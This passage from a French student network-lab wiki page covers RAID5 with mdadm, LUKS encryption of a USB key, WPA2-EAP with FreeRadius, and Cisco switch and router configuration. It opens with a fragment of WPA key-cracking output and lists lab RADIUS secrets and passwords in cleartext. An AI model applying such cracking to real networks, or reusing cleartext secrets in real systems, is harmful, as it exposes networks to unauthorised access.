                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
'''RAID5 , c'est quoi ? '''&lt;br /&gt;
On souhaite ensuite créer un RAID (Redundant Array of Inexpensive Disks) afin de rendre notre système de stockage plus robuste. On choisit de faire un RAID5, ce qui va permettre de répartir nos données sur plusieurs partitions et rendre l'accès à ces données plus rapide. &lt;br /&gt;
Nous décidons d'utiliser 3 disques. Ainsi, chaque disque sera composé d'une partie des données mais également d'un bloc destiné à la parité. Par conséquent, si l'un des disques tombe en panne, on pourra le reconstituer grâce aux 2 autres. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:RAID5.png]]&lt;br /&gt;
&lt;br /&gt;
'''Création des disques'''&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 cd /dev/virtual&lt;br /&gt;
&lt;br /&gt;
On fait pointer le système de fichiers sur nos 3 disques. &lt;br /&gt;
&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
'''Mise à jour du fichier de config de la VM'''&lt;br /&gt;
&lt;br /&gt;
On met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',&lt;br /&gt;
              ]&lt;br /&gt;
'''Utilisation de l'utilitaire mdadm pour la gestion du RAID5'''&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm. Cet utilitaire&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
'''Construction du volume RAID'''&lt;br /&gt;
&lt;br /&gt;
 # mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
'''Démonisation du volume RAID'''&lt;br /&gt;
On va maintenant démoniser le volume RAID, c'est à dire faire en sorte que le système charge le volume à chaque démarrage. &lt;br /&gt;
 # mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
'''Formatage du volume RAID'''&lt;br /&gt;
Enfin, on formate le volume.&lt;br /&gt;
 # mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
'''Informations sur notre RAID5'''&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet d'obtenir des informations sur notre volume fraîchement crée. &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:~# mdadm --detail /dev/md0&lt;br /&gt;
 /dev/md0:&lt;br /&gt;
        Version : 1.2&lt;br /&gt;
  Creation Time : Thu Nov 28 16:56:26 2019&lt;br /&gt;
     Raid Level : raid5&lt;br /&gt;
     Array Size : 2095104 (2046.00 MiB 2145.39 MB)&lt;br /&gt;
  Used Dev Size : 1047552 (1023.00 MiB 1072.69 MB)&lt;br /&gt;
   Raid Devices : 3&lt;br /&gt;
  Total Devices : 3&lt;br /&gt;
    Persistence : Superblock is persistent&lt;br /&gt;
    Update Time : Sun Dec  1 01:00:45 2019&lt;br /&gt;
          State : clean &lt;br /&gt;
 Active Devices : 3&lt;br /&gt;
 Working Devices : 3&lt;br /&gt;
 Failed Devices : 0&lt;br /&gt;
  Spare Devices : 0&lt;br /&gt;
         Layout : left-symmetric&lt;br /&gt;
     Chunk Size : 512K&lt;br /&gt;
           Name : ima2a5-zerofun:0  (local to host ima2a5-zerofun)&lt;br /&gt;
           UUID : d0b2e2f1:c1298ca0:c684c1ec:b711b7f0&lt;br /&gt;
         Events : 23&lt;br /&gt;
    Number   Major   Minor   RaidDevice State&lt;br /&gt;
       0     202       19        0      active sync   /dev/xvdb3&lt;br /&gt;
       1     202       20        1      active sync   /dev/xvdb4&lt;br /&gt;
       3     202       21        2      active sync   /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Avec &lt;br /&gt;
 #fdisk -l &lt;br /&gt;
on voit nos 3 disques de 1Go et le volume du RAID5 (md0) qui vaut 2 Go, ce qui est logique car seuls 2 tiers de l'espace disponible seront utilisés pour le stockage. Le tiers restant est destiné à la parité.&lt;br /&gt;
 Disk /dev/xvdb3: 1 GiB, 1073741824 bytes, 2097152 sectors&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
 Disk /dev/xvdb4: 1 GiB, 1073741824 bytes, 2097152 sectors&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
 Disk /dev/xvdb5: 1 GiB, 1073741824 bytes, 2097152 sectors&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
 Disk /dev/md0: 2 GiB, 2145386496 bytes, 4190208 sectors&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 524288 bytes / 1048576 bytes&lt;br /&gt;
&lt;br /&gt;
 mke2fs 1.43.4 (31-Jan-2017)&lt;br /&gt;
 Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
 Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b&lt;br /&gt;
 Superblock backups stored on blocks: &lt;br /&gt;
 32768, 98304, 163840, 229376, 294912&lt;br /&gt;
 Allocating group tables: done                            &lt;br /&gt;
 Writing inode tables: done                            &lt;br /&gt;
 Creating journal (8192 blocks): done&lt;br /&gt;
 Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
On désire crypter des fichiers contenus sur une clé USB, c'est à dire la rendre illisible sauf pour celui qui détient le mot de passe. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps on installe le package qui va nous permettre de crypter la clé USB:&lt;br /&gt;
&lt;br /&gt;
 apt-get install lvm2 cryptsetup&lt;br /&gt;
&lt;br /&gt;
On affiche les périphériques USB disponibles:&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
Attention ces étapes ont pour but de supprimer le contenu de la clé USB:&lt;br /&gt;
&lt;br /&gt;
 fdsik /dev/sda&lt;br /&gt;
 d //permet de supprimer les partitions &lt;br /&gt;
 w // on sauvegarde les modifications &lt;br /&gt;
 n // on crée une nouvelle partition&lt;br /&gt;
 p // pour la rendre primaire &lt;br /&gt;
 1 // on lui donne un numéro de partition &lt;br /&gt;
&lt;br /&gt;
On garde le volume du disque par défaut proposé. &lt;br /&gt;
&lt;br /&gt;
La clé USB est maintenant prête à être chiffrée grâce au package précédemment téléchargé&lt;br /&gt;
&lt;br /&gt;
Chiffrage du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat -c aes -h sha256 /dev/sda1&lt;br /&gt;
  &lt;br /&gt;
Ouverture sécurisée du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup open --type luks /dev/sda1 home&lt;br /&gt;
 &lt;br /&gt;
Création du système de fichiers&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/home&lt;br /&gt;
&lt;br /&gt;
Montage du périphérique&lt;br /&gt;
&lt;br /&gt;
 mount -t ext4 /dev/mapper/home /mnt/cle_usb&lt;br /&gt;
&lt;br /&gt;
Démontage physique du périphérique&lt;br /&gt;
&lt;br /&gt;
 umount /mnt/cle_usb&lt;br /&gt;
&lt;br /&gt;
Fermeture sécurisée du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup close --type luks home&lt;br /&gt;
&lt;br /&gt;
==Sécurisation wifi par WPA2-EAP==&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous avons suivi le travail de Jorge, en adaptant pour notre groupe. &lt;br /&gt;
&lt;br /&gt;
Dans le CISCO : &lt;br /&gt;
&lt;br /&gt;
'''Création du serveur radius'''&lt;br /&gt;
&lt;br /&gt;
 radius-server host 193.48.57.161 auth-port 1812 acct-port 1813 key glopglop&lt;br /&gt;
&lt;br /&gt;
'''Définir le groupe de serveur AAA'''&lt;br /&gt;
&lt;br /&gt;
 aaa group server radius radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Association du groupe de serveur et du serveur de la VM'''&lt;br /&gt;
&lt;br /&gt;
 server 193.48.57.161 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
'''Définition du login et du groupe de serveur'''&lt;br /&gt;
&lt;br /&gt;
 aaa authentication login eap_ima2a5-zerofun group radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Définition du SSID'''&lt;br /&gt;
&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun                                &lt;br /&gt;
 vlan num_vlan&lt;br /&gt;
 authentication open eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication network-eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration du Vlan'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 encryption vlan 2 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Création d'une sous interface'''&lt;br /&gt;
 &lt;br /&gt;
interface dot11Radio0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
''' '''&lt;br /&gt;
 interface gigabite0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Ajout SSID dans l'interface Dot11Radio0'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Rendre visible le SSID'''&lt;br /&gt;
 &lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 mbssid&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
 mbssid guest-mode &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 exit&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
 reload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Serveur FreeRadius==&lt;br /&gt;
L'objectif d'un serveur Radius est de centraliser tous les utilisateurs sur un seul et unique serveur&lt;br /&gt;
&lt;br /&gt;
 # ssh @193.48.57.161&lt;br /&gt;
 &lt;br /&gt;
'''Installation de freeradius'''&lt;br /&gt;
On commence par installer le logiciel freeradius sur la VM&lt;br /&gt;
&lt;br /&gt;
 # apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/freeradius/3.0/users, on ajoute nos utilisateurs : &lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password :=&amp;quot;glopglop&amp;quot;&lt;br /&gt;
 apache Cleartext-Password :=&amp;quot;capitaine&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
&lt;br /&gt;
use_mppe = yes&lt;br /&gt;
require_encryption = yes&lt;br /&gt;
require_strong = yes&lt;br /&gt;
with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Enfin, on ajoute la borne à la liste des clients : &lt;br /&gt;
 client access-point {                 &lt;br /&gt;
       ipaddr          = 10.60.0.100   &lt;br /&gt;
       secret          = glopglop      &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
Et on relance FreeRadius&lt;br /&gt;
&lt;br /&gt;
 service freeradius restart&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
